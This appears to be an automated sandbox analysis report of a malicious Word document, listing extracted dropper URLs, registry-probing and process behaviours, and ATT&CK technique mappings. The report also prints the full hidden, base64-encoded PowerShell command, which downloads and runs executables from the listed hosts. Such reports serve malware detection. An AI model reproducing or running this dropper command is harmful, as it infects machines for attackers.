1e632dc1bd809dd30bbfb005f230876d431e7c7ae51ce032801dc741ce520506

General

Target

1e632dc1bd809dd30bbfb005f230876d431e7c7ae51ce032801dc741ce520506.doc
Sample

200127-yvrnfrte6a
SHA256

1e632dc1bd809dd30bbfb005f230876d431e7c7ae51ce032801dc741ce520506

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://covaihomes.com/cgi-bin/t3ln/

exe.dropper

http://saxseafood.com/wp-content/VHTlLciKX/

exe.dropper

https://zaamira.com/wp-admin/2sof7o/

exe.dropper

https://shopify-ed.apps.zeroek.com/dist/hxrf9/

exe.dropper

https://sophistproduction.com/wp-includes/Wijy9/

Signatures

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 4488 Powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

Powershell.exe

pid process

4488 Powershell.exe

description	pid	process
Token: SeDebugPrivilege	4488	Powershell.exe

pid	process
4488	Powershell.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

4944 WINWORD.EXE
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

WINWORD.EXE

pid process

4944 WINWORD.EXE

pid	process
4944	WINWORD.EXE

pid	process
4944	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4488	1668	Powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1e632dc1bd809dd30bbfb005f230876d431e7c7ae51ce032801dc741ce520506.doc" /o ""
1⤵
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4944

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABQAHAAZgBnAGkAbgBkAHcAaABtAHcAPQAnAEIAbgBsAHcAYwBkAGQAcwBmAHUAJwA7ACQAWAB4AGgAawB0AHIAZgB1AHgAcQBiACAAPQAgACcAOAA4ADEAJwA7ACQARwB2AG0AbQBkAGQAZwB6AGQAbQB6AGIAegA9ACcAUgBwAGwAawB4AGgAcAByAGkAYQAnADsAJABUAGUAdABxAHMAYwBmAGkAaABjAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABYAHgAaABrAHQAcgBmAHUAeABxAGIAKwAnAC4AZQB4AGUAJwA7ACQASgB5AGoAdgBpAGsAagBoAGkAawB2AGoAcwA9ACcAWQBiAGwAdgBkAG8AcQBhAHAAagAnADsAJABIAGgAeAByAGkAawBtAGEAPQAuACgAJwBuACcAKwAnAGUAJwArACcAdwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AdwBlAGIAQwBMAGkARQBOAHQAOwAkAEQAcgBnAGIAZwBjAHUAcQBxAD0AJwBoAHQAdABwADoALwAvAGMAbwB2AGEAaQBoAG8AbQBlAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB0ADMAbABuAC8AKgBoAHQAdABwADoALwAvAHMAYQB4AHMAZQBhAGYAbwBvAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBWAEgAVABsAEwAYwBpAEsAWAAvACoAaAB0AHQAcABzADoALwAvAHoAYQBhAG0AaQByAGEALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADIAcwBvAGYANwBvAC8AKgBoAHQAdABwAHMAOgAvAC8AcwBoAG8AcABpAGYAeQAtAGUAZAAuAGEAcABwAHMALgB6AGUAcgBvAGUAawAuAGMAbwBtAC8AZABpAHMAdAAvAGgAeAByAGYAOQAvACoAaAB0AHQAcABzADoALwAvAHMAbwBwAGgAaQBzAHQAcAByAG8AZAB1AGMAdABpAG8AbgAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AVwBpAGoAeQA5AC8AJwAuACIAcwBgAHAATABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABRAHEAZABkAGwAcABmAHcAYgB0AHIAcgByAD0AJwBFAGcAdQBiAHIAcgB3AHIAcQAnADsAZgBvAHIAZQBhAGMAaAAoACQARgB1AGcAYwBzAGUAZwBzAHgAYgAgAGkAbgAgACQARAByAGcAYgBnAGMAdQBxAHEAKQB7AHQAcgB5AHsAJABIAGgAeAByAGkAawBtAGEALgAiAEQATwBgAFcATgBMAE8AYQBgAEQAZgBpAEwARQAiACgAJABGAHUAZwBjAHMAZQBnAHMAeABiACwAIAAkAFQAZQB0AHEAcwBjAGYAaQBoAGMAKQA7ACQASwBrAHMAeAB0AG0AdwBtAHMAPQAnAEgAagB1AG4AagBrAGUAawB1ACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAgACQAVABlAHQAcQBzAGMAZgBpAGgAYwApAC4AIgBMAGUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIAMwAwADUAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYQBgAFIAdAAiACgAJABUAGUAdABxAHMAYwBmAGkAaABjACkAOwAkAE0AdQB2AGgAdQBoAHUAeQBtAD0AJwBFAHYAZABkAHoAZQB1AGYAeAAnADsAYgByAGUAYQBrADsAJABaAGsAaABlAGgAbABtAGcAPQAnAFcAZABnAGQAeQBlAGMAZQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABSAGMAZABwAHMAZwBnAGUAZgBhAHkAcQA9ACcAVQBsAHoAcAB6AGkAbQBnAGMAZAAnAA==
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
PID:4488

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads